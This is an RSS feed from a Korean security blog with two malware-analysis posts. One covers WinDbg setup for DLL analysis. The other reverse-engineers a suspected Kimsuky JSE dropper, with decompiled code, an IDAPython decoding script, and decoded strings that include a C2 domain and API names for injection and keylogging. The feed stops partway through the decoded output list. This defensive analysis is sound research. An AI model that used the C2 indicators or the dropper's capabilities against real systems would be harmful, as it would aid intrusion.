<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>1q</title>
    <link>https://suspected.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Tue, 7 Jul 2026 15:23:11 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>1q</managingEditor>
    <image>
      <title>1q</title>
      <url>https://t1.daumcdn.net/cfile/tistory/2103F235575E604712</url>
      <link>https://suspected.tistory.com</link>
    </image>
    <item>
      <title>Windbg로 dll 분석 세팅하기</title>
      <link>https://suspected.tistory.com/281</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;1.&amp;nbsp;windbg&amp;nbsp;-&amp;nbsp;open&amp;nbsp;exe &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;filename&amp;nbsp;:&amp;nbsp;rundll32.exe &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;arguments&amp;nbsp;:&amp;nbsp;[dll&amp;nbsp;경로],&amp;nbsp;[export&amp;nbsp;함수&amp;nbsp;이름] &lt;br /&gt;2.&amp;nbsp;sxe&amp;nbsp;ld&amp;nbsp;sample&amp;nbsp;(dll&amp;nbsp;이름) &lt;br /&gt;3.&amp;nbsp;g &lt;br /&gt;4.&amp;nbsp;lm&amp;nbsp;m&amp;nbsp;sample&amp;nbsp;(dll&amp;nbsp;이름) &lt;br /&gt;5.&amp;nbsp;bp&amp;nbsp;[export&amp;nbsp;함수&amp;nbsp;offset] &lt;br /&gt;6.&amp;nbsp;g &lt;br /&gt;7.&amp;nbsp;분석&amp;nbsp;시작&lt;/p&gt;</description>
      <category>리버싱/윈도우 악성코드 분석</category>
      <author>1q</author>
      <guid isPermaLink="true">https://suspected.tistory.com/281</guid>
      <comments>https://suspected.tistory.com/281#entry281comment</comments>
      <pubDate>Wed, 8 Sep 2021 22:21:27 +0900</pubDate>
    </item>
    <item>
      <title>jse dropper 악성코드 분석 (Kimsuky?) - 2편</title>
      <link>https://suspected.tistory.com/280</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1편 : &lt;a href=&quot;https://suspected.tistory.com/279&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://suspected.tistory.com/279&lt;/a&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[개요]&lt;/b&gt;&lt;br /&gt;본 글에서는 1편에서 소개했듯이 특정 커스텀 인코딩 루틴 분석 및 디코딩 스크립트를 제작하는 과정에 대해 설명한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[분석]&lt;/b&gt;&lt;br /&gt;본 글에서는 1편에서 소개했듯이&lt;span&gt;&amp;nbsp;&lt;/span&gt;특정 커스텀 인코딩 루틴 분석 및 디코딩 스크립트를 제작하는 과정에 대해 설명한다.&amp;nbsp;&lt;br /&gt;&lt;br /&gt;아래 코드는 0x18001B330 함수 호출 전 모습이다. 인자로는 v8 변수(인코딩된 데이터)와 v11 변수(데이터 길이 값)을 전달 받는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;858&quot; data-origin-height=&quot;297&quot; data-filename=&quot;21.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEPWL9/btrerzbpRWj/O0H32Leyq4vmhPeI8CIEb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEPWL9/btrerzbpRWj/O0H32Leyq4vmhPeI8CIEb1/img.png&quot; data-alt=&quot;메모리 복사, 디코딩 루틴&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEPWL9/btrerzbpRWj/O0H32Leyq4vmhPeI8CIEb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEPWL9%2FbtrerzbpRWj%2FO0H32Leyq4vmhPeI8CIEb1%2Fimg.png&quot; data-origin-width=&quot;858&quot; data-origin-height=&quot;297&quot; data-filename=&quot;21.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;메모리 복사, 디코딩 루틴&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;아래 코드는 디코딩 루틴(0x18001B330)이다. 아래 함수를 디버깅해서 문자열을 추출하는 방법도 있지만, 시간 소요가 크다는 단점이 있어 IDAPython을 이용해 스크립트를 작성한다. 코드가 많아보이지만 주요 기능은 별로 안된다.&lt;/p&gt;
&lt;pre id=&quot;code_1631113634154&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;__int64 __fastcall sub_18001B330(_QWORD *a1, __int64 a2)
{
  __int64 v2; // r14
  _QWORD *v3; // rbx
  unsigned __int64 v4; // r12
  char *v5; // rsi
  __int64 v6; // rdi
  __int64 v7; // r15
  bool v8; // cf
  _QWORD *v9; // rax
  unsigned __int64 v10; // rdi
  unsigned __int64 v11; // rax
  __int64 v12; // rsi
  __int64 v13; // rdx
  bool v14; // cf
  _QWORD *v15; // rax
  __int64 v16; // r8
  __int64 v17; // r9
  __int128 v18; // kr00_16
  __int128 *v19; // rax
  __int64 v20; // rcx
  char v22[16]; // [rsp+20h] [rbp-50h]
  int v23; // [rsp+30h] [rbp-40h]
  __int128 v24; // [rsp+38h] [rbp-38h]
  __int128 v25; // [rsp+48h] [rbp-28h]
  __int64 v26; // [rsp+58h] [rbp-18h]

  v2 = a2;
  v3 = a1;
  v26 = a2;
  *(_QWORD *)&amp;amp;v25 = 0i64;
  *((_QWORD *)&amp;amp;v25 + 1) = 7i64;
  LOWORD(v24) = 0;
  sub_1800081A0((unsigned __int64 *)&amp;amp;v24, (__int64)&amp;amp;unk_180061E08, 0i64);
  v4 = v3[2];
  if ( !(v4 &amp;amp; 1) &amp;amp;&amp;amp; v4 &amp;gt; 0x20 )
  {
    LODWORD(v26) = 0;
    WORD2(v26) = 0;
    v23 = 0;
    v5 = v22;
    v6 = 0i64;
    v7 = 16i64;
    while ( 1 )
    {
      v8 = v3[3] &amp;lt; 8ui64;
      if ( v3[3] &amp;gt;= 8ui64 )
        break;
      LOWORD(v26) = *(_WORD *)((char *)v3 + v6);
      v9 = v3;
      if ( !v8 )
        goto LABEL_7;
LABEL_8:
      *(_DWORD *)((char *)&amp;amp;v26 + 2) = *(unsigned __int16 *)((char *)v9 + v6 + 2);
      sub_18001BC10(&amp;amp;v26, L&quot;%x&quot;, &amp;amp;v23);
      *v5 = v23;
      v6 += 4i64;
      ++v5;
      if ( !--v7 )
      {
        v10 = 32i64;
        v11 = 0i64;
        while ( 1 )
        {
          v12 = v11 - 16;
          if ( v11 &amp;lt; 0x10 )
            v12 = v11;
          v13 = 2 * v10;
          v14 = v3[3] &amp;lt; 8ui64;
          if ( v3[3] &amp;gt;= 8ui64 )
            break;
          LOWORD(v26) = *(_WORD *)((char *)v3 + v13);
          v15 = v3;
          if ( !v14 )
            goto LABEL_15;
LABEL_16:
          *(_DWORD *)((char *)&amp;amp;v26 + 2) = *(unsigned __int16 *)((char *)v15 + v13 + 2);
          sub_18001BC10(&amp;amp;v26, L&quot;%x&quot;, &amp;amp;v23);
          v17 = (unsigned int)(char)(v23 ^ v7 ^ v22[v12]);
          v18 = v25;
          if ( (unsigned __int64)v25 &amp;gt;= *((_QWORD *)&amp;amp;v25 + 1) )
          {
            sub_18001B8D0(&amp;amp;v24, *((_QWORD *)&amp;amp;v25 + 1), v16, v17);
          }
          else
          {
            *(_QWORD *)&amp;amp;v25 = v25 + 1;
            v19 = &amp;amp;v24;
            if ( *((_QWORD *)&amp;amp;v18 + 1) &amp;gt;= 8ui64 )
              v19 = (__int128 *)v24;
            *((_WORD *)v19 + v18) = v17;
            *((_WORD *)v19 + v18 + 1) = 0;
          }
          LOBYTE(v7) = v23;
          v10 += 2i64;
          v11 = v12 + 1;
          if ( v10 &amp;gt;= v4 )
          {
            *(_OWORD *)v2 = v24;
            *(_OWORD *)(v2 + 16) = v25;
            return v2;
          }
        }
        LOWORD(v26) = *(_WORD *)(v13 + *v3);
LABEL_15:
        v15 = (_QWORD *)*v3;
        goto LABEL_16;
      }
    }
    LOWORD(v26) = *(_WORD *)(v6 + *v3);
LABEL_7:
    v9 = (_QWORD *)*v3;
    goto LABEL_8;
  }
  *(_QWORD *)(v2 + 16) = 0i64;
  *(_QWORD *)(v2 + 24) = 7i64;
  *(_WORD *)v2 = 0;
  sub_1800081A0((unsigned __int64 *)v2, (__int64)&amp;amp;unk_180061E08, 0i64);
  if ( *((_QWORD *)&amp;amp;v25 + 1) &amp;gt;= 8ui64 )
  {
    v20 = v24;
    if ( (unsigned __int64)(2i64 * *((_QWORD *)&amp;amp;v25 + 1) + 2) &amp;gt;= 0x1000 )
    {
      v20 = *(_QWORD *)(v24 - 8);
      if ( (unsigned __int64)(v24 - v20 - 8) &amp;gt; 0x1F )
        invalid_parameter_noinfo_noreturn();
    }
    sub_1800295B0(v20);
  }
  return v2;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;아래부터는 위 함수 내 커스텀 알고리즘으로 인/디코딩된 루틴을 단계별로 설명한다.&lt;br /&gt;&lt;br /&gt;첫 번째로, 1877b~~~27ca와 같은 인코딩된 문자열을 입력 받아 2개씩 끊어 Byte 형태로 변환을 우선 수행한다.&amp;nbsp;&lt;br /&gt;두 번째로, Byte 형태로 변환된 값 중 앞에서부터 16Byte, 나머지 Byte를 분리한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1290&quot; data-origin-height=&quot;702&quot; data-filename=&quot;18.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b4vV5B/btreydRXCuJ/xwxKvERE38wQYlNmgJtAO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b4vV5B/btreydRXCuJ/xwxKvERE38wQYlNmgJtAO0/img.png&quot; data-alt=&quot;알고리즘 1,2&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b4vV5B/btreydRXCuJ/xwxKvERE38wQYlNmgJtAO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb4vV5B%2FbtreydRXCuJ%2FxwxKvERE38wQYlNmgJtAO0%2Fimg.png&quot; data-origin-width=&quot;1290&quot; data-origin-height=&quot;702&quot; data-filename=&quot;18.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;알고리즘 1,2&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;세 번째로, 위에서 나눈 것을 토대로 a ^ b ^ c 형태로 XOR을 하는 루틴이다.&lt;br /&gt;우선, 16byte&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;왼쪽 부분부터 1씩 증가하는 a&lt;/b&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;나머지 Byte 영역 부분부터 1씩 증가하는 c&lt;/b&gt;로 치환한다. b는 초기 값으로 0을 넣는다.&lt;br /&gt;stage는&lt;b&gt;&lt;span&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt; 인코딩된 데이터(Byte 형태)의&lt;/span&gt; &lt;/span&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;갯수만큼 반복문을 수행&lt;/span&gt;&lt;/b&gt;한다. stage 1은 위에서 말한 바와 같이 왼쪽 16byte 영역의 첫 번째 요소인 0x18(a), 나머지 영역의 첫 번째 요소인 0x3d(c), b=0으로 치환 후 XOR을 수행한다.&lt;br /&gt;stag 2부터는 a와 c는 한 칸씩 이동해 값을 불러오는 것이 동일하다. b같은 경우에는 이전(stage 1이 되겠죠?) c의 값을 b에 저장 후 XOR 연산을 수행한다. 아래 그림을 참고하면 이해가 쉬울 것이다.&amp;nbsp;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;stage를 계속 수행하다가&lt;/span&gt;&lt;span&gt; &lt;b&gt;&lt;span&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;인코딩된 데이터(Byte 형태)의&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;갯수만큼 &lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;작동하고 끝이난다. 결과는 &quot;&lt;span style=&quot;background-color: #f3c000;&quot;&gt;%PDF-1.7..4 0 obj&lt;/span&gt;&quot;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1378&quot; data-origin-height=&quot;810&quot; data-filename=&quot;19.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsfW7F/btreu94lSwn/T9B4A7uXNh0v0DjxBTQWEK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsfW7F/btreu94lSwn/T9B4A7uXNh0v0DjxBTQWEK/img.png&quot; data-alt=&quot;알고리즘 3&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsfW7F/btreu94lSwn/T9B4A7uXNh0v0DjxBTQWEK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsfW7F%2Fbtreu94lSwn%2FT9B4A7uXNh0v0DjxBTQWEK%2Fimg.png&quot; data-origin-width=&quot;1378&quot; data-origin-height=&quot;810&quot; data-filename=&quot;19.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;알고리즘 3&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;위 과정까지가 알고리즘 수행의 기본 루틴이고 아래는 알고리즘의 핵심 조건문 루틴이다. 3번에서 수행한 인코딩된 문자열 길이는 짧기 때문에 a영역이 16바이트가 되기 전에 끝났다. &lt;br /&gt;&lt;br /&gt;하지만, 아래와 같이 긴 인코딩 문자열을 입력 받아 수행할 때는 a영역의 offset이 16바이트를 초과하면 어떤 요소에 접근해야 하는지에 대한 조건문이다. 아래 그림을 토대로 설명하면, stage 16까지 잘 수행하다가 stage 17을 수행하면 b와 c는 정상적으로 다음 요소를 순차적으로 저장한다. 그러나 a는 다음 요소가 c의 영역이기 때문에 a의 요소가 16이 넘어가는 순간 다시 0부터 다시 시작한다.&amp;nbsp;&lt;br /&gt;&lt;br /&gt;아래 stage 17과 같이 a가 0x89부터 다시 시작한다. 나머지는 순차적으로 값을 그대로 얻어와 XOR을 수행한다.&amp;nbsp;&lt;br /&gt;결과는 아래와 같다. 17번째 요소에 5가 들어가있는 것을 확인할 수 있다. &quot;0602000000A40000&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;5&lt;/span&gt;&lt;/b&gt;2534131000400000100010005DA37C671C00B2A04759D5A143C015F4D0B38F0F83D6E4E19B309&lt;br /&gt;D570ADB6EEA7CACB5A59A489B9E4B8D801B76A0C361E7D7798E6248722DC0349400857F68C5B21474138F0D3EE0929&lt;br /&gt;AB1EBEA9EBB057E88D0CACB41D4A6029F459AD7B8A8D180B77DC4596745B9CF77DAD7B50F44B43DA8F1326E64C53&lt;br /&gt;DAA51807A02751E2&quot;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1320&quot; data-origin-height=&quot;741&quot; data-filename=&quot;20.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rkgvG/btreyeXFf9e/NLDcC5bXWbTDbgwRUq613K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rkgvG/btreyeXFf9e/NLDcC5bXWbTDbgwRUq613K/img.png&quot; data-alt=&quot;알고리즘 조건식&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rkgvG/btreyeXFf9e/NLDcC5bXWbTDbgwRUq613K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrkgvG%2FbtreyeXFf9e%2FNLDcC5bXWbTDbgwRUq613K%2Fimg.png&quot; data-origin-width=&quot;1320&quot; data-origin-height=&quot;741&quot; data-filename=&quot;20.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;알고리즘 조건식&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;b&gt;[구현]&lt;/b&gt;&lt;br /&gt;위에서 분석한 알고리즘을 기반으로 이제 IDAPython을 이용해 디코딩 스크립트를 구현한다.&lt;br /&gt;&lt;br /&gt;우리가 분석해야 하는 디코딩 함수 0x18001B330을 사용하는 함수를 확인하기 위해 Xref 기능을 사용해 확인한 결과, 중복도 있겠지만 239개의 함수가 있는 것을 확인했다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;587&quot; data-origin-height=&quot;625&quot; data-filename=&quot;15.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EoVFq/btrexlvUowI/qY1POsAUF0r0SVH4mnK4uK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EoVFq/btrexlvUowI/qY1POsAUF0r0SVH4mnK4uK/img.png&quot; data-alt=&quot;Xref - 0x18001B330&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EoVFq/btrexlvUowI/qY1POsAUF0r0SVH4mnK4uK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEoVFq%2FbtrexlvUowI%2FqY1POsAUF0r0SVH4mnK4uK%2Fimg.png&quot; data-origin-width=&quot;587&quot; data-origin-height=&quot;625&quot; data-filename=&quot;15.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Xref - 0x18001B330&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;우선 첫 번째로 0x18001B330을 call하는 부분부터 backward를 수행해 &quot;lea rdx, a2c92cd0a32f60e&quot; 부분으로 이동해 2번째 오퍼랜드의 값을 가져와야 한다. 이 루틴을 구현하면 239개의 인코딩된 데이터를 모두 추출해 리스트로 저장한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;620&quot; data-origin-height=&quot;293&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c23oSb/btrevYab7KV/ORy4hB3NlroxCl6hfF5c21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c23oSb/btrevYab7KV/ORy4hB3NlroxCl6hfF5c21/img.png&quot; data-alt=&quot;인코딩된 데이터 가져오기&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c23oSb/btrevYab7KV/ORy4hB3NlroxCl6hfF5c21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc23oSb%2FbtrevYab7KV%2FORy4hB3NlroxCl6hfF5c21%2Fimg.png&quot; data-origin-width=&quot;620&quot; data-origin-height=&quot;293&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;인코딩된 데이터 가져오기&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;팁 : 데이터는 아래와 같이 유니코드 형태로 저장되어 있어 &quot;GetString(str_address, &lt;span style=&quot;color: #ee2323;&quot;&gt;strtype=idc.ASCSTR_UNICODE&lt;/span&gt;)&quot; 형태로 작성해줘야 그대로 추출된다. 유니코드가 아닌 형태로는 1Byte씩 접근해 주소를 옮겨가며 추출해야 하는 것 보다 훨씬 편하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;620&quot; data-origin-height=&quot;361&quot; data-filename=&quot;14.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bSxfF1/btretgI8NH8/Fpz9rkYqkXYdsebuFE7fwK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bSxfF1/btretgI8NH8/Fpz9rkYqkXYdsebuFE7fwK/img.png&quot; data-alt=&quot;유니코드 형태로 저장된 인코딩된 데이터&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bSxfF1/btretgI8NH8/Fpz9rkYqkXYdsebuFE7fwK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbSxfF1%2FbtretgI8NH8%2FFpz9rkYqkXYdsebuFE7fwK%2Fimg.png&quot; data-origin-width=&quot;620&quot; data-origin-height=&quot;361&quot; data-filename=&quot;14.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;유니코드 형태로 저장된 인코딩된 데이터&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;인코딩된 데이터를 리스트에 모두 저장한 후 이제 반복문을 돌려 디코딩 함수에 인코딩된 데이터, 데이터 길이 2가지를 인자로 넣어주면 끝이다.&lt;br /&gt;&lt;br /&gt;아래 코드는 IDA(offset : 0x18001B330) 내 구현된 알고리즘을 기반으로 재구성했다. 알고리즘 형태는 위에서 설명한 것과 동일하므로 설명은 생략한다.&lt;/p&gt;
&lt;pre id=&quot;code_1631106614661&quot; class=&quot;python&quot; style=&quot;display: block; overflow: auto; padding: 20px; color: #383a42; background: #f8f8f8; font-size: 14px; font-family: 'SF Mono', Menlo, Consolas, Monaco, monospace; border: 1px solid #ebebeb; line-height: 1.71; margin: 20px auto 0px; cursor: default; z-index: 1; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from idautils import *
from idaapi import *
from idc import *
import re

p = re.compile('(\d|[a-f]){20,}')

def EncodedDataCollector(addr):
    encodeddataList = []
    for addr in XrefsTo(0x18001B330, flags=0):
        count = 0
        line = addr.frm
        while True:
            line = idc.PrevHead(line)
            count += 1
            if GetMnem(line) == &quot;lea&quot; and GetOpType(line, 0) == o_reg and GetOpType(line, 1) == o_mem:
                str_address = GetOperandValue(line, 1)
                
                try:
                    data = GetString(str_address, strtype=idc.ASCSTR_UNICODE)
                    signal = 1
                except:
                    signal = 0
                                    
                if signal != 1:
                    break
                else:
                    encodeddataList.append(data)
                    
            if count &amp;gt; 10:
                break
    
    return encodeddataList
                
def confirmRegex(lists):
    attemplist = []
    expectinglen = len(lists)
    for r in lists:
        result = p.finditer(r)
        for r in result:
            zzz = r.group()
            attemplist.append(zzz)

    if expectinglen == len(attemplist):
        return 1
    else:
        return 0

def str2binbyte(encdata):
    count = 0
    bl = []
    for i in range(0, len(encdata), 2):         
        bl.append(int(encdata[i:i+2], 16))

    if type(bl) == list:
        return bl # list
    else:
        return False

def decoding_1B330(enc, enclen):
    v22=0
    v7=0
    v10_count=16-1 #count
    enc16byteleft = enc[:16]
    enc16byteRigth = enc[16:]
    decodedDataList = []
    j = 0
    for i in range(0, enclen):
        
        if j &amp;gt;= 16:
            j = 0
        
        v23 = enc16byteleft[j]
        v22 = enc16byteRigth[i]
        dedata = v23^v7^v22
        decodedDataList.append(dedata)

        v7 = v22
        v10_count += 1
        j+=1
        
        if v10_count &amp;gt;= enclen-1:
            break
    
    finaldata = ''.join(map(chr, decodedDataList))

    return finaldata

def main():
    decodingroutineaddr = 0x18001B330
    result = EncodedDataCollector(decodingroutineaddr) #list type

    if len(result) &amp;gt; 0:
        if(confirmRegex(result)):
            for endata in set(result):
                encbytebin = str2binbyte(endata)

                if(encbytebin != False):
                    enc_len = len(encbytebin)
                    result = decoding_1B330(encbytebin, enc_len)
                    print(result)

main()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;드롭퍼(DLL)를 IDA에 로드하고 위에서 구현한 디코딩 스크립트를 실행하면 아래와 같은 문자열들이 출력된다. API 함수, C2 주소, URL 파라미터, 바이너리 등 유의미한 정보들을 추출 할 수 있었다. xref로 확인했을 때는 239개였는데, 중복을 제거했더니 200개로 줄었다.&lt;/p&gt;
&lt;pre id=&quot;code_1631111985474&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;LookupPrivilegeValueW
GetWindowTextW
FindClose
HttpAddRequestHeadersA
ToAscii
temp
%d-%02d-%02d_%02d-%02d-%02d-%03d
GetWindowTextA
texts.letterpaper.press
shlwapi.dll
GetFileSize
ConsentPromptBehaviorAdmin
GetLocalTime
SelectObject
ReadFile
KeyboardMonitor
shell32.dll
flags
CreateRemoteThread
LookupPrivilegeValueA
SHCreateDirectoryExA
S_Regsvr32
VirtualAllocEx
RegQueryValueExA
HttpSendRequestExA
SetFilePointer
GetWindowThreadProcessId
0702000000A400005253413200040000010001006D4582142BA47753E19FF39DBF232B7BAEE5141CC59AB328CA25EC21BEF955FE091F90B8FF3C3D8CD00973E3D2D7FACAD76B40A0A90BDE7468338B4F7C39DFDDE6C1574F3C48065AB364E505C322FF6B26CB67014DA28CD1FABEE32C9DB4BFD6F182AAA9DFB77EF3B26F91BC2E03EE4AB04B8A8741B83A85443DB8F28B99A3C63B206FAE6F36E19D4AFA768CF24283CFB7137FE47C403BC1E9E44CC12AB46877E7EAD66E69BC1C95E074127F1359978D8F6A8F5F57F15B220CACF213184176F9773E649A421A870340AFB025640A0EE5AFCA7DF1C7F6682FD59C9FEC241A9128D26608F5DDE2114CCA6815CA18B337C6B6FA713606A5ABE15133B061765AD8CB4181E72FC2DAA084FDB14AB05D38254556CBF2AF5DEB987F25206E657B03EAC21D2C7BD86703AEB22B27A456B60E3AD3C3C62D5DD7C06E5DB1C5D756B6F0019DFFFE3A425CDFDF9EA4E9F0085DD8064F97028A954A6D9DED2C06358EB77FF3CCC976B5E08344AC167B3971CBABBABD20E90C7BF4D1EA6F563B62B14C175D0683466190BFE8ECF4DDC69665233D21FD28825B7FFC4755A7A398E96FD94517D4B9F1EFFD99EAEB42F507F31D01594F0FF9FC03F4D5C3A40E4B64557C76CC4949BCFD96B77CD3F7A40DCB65B573E8C96A363EB2830B32ABD6827BACCF784BAC428F244861126235051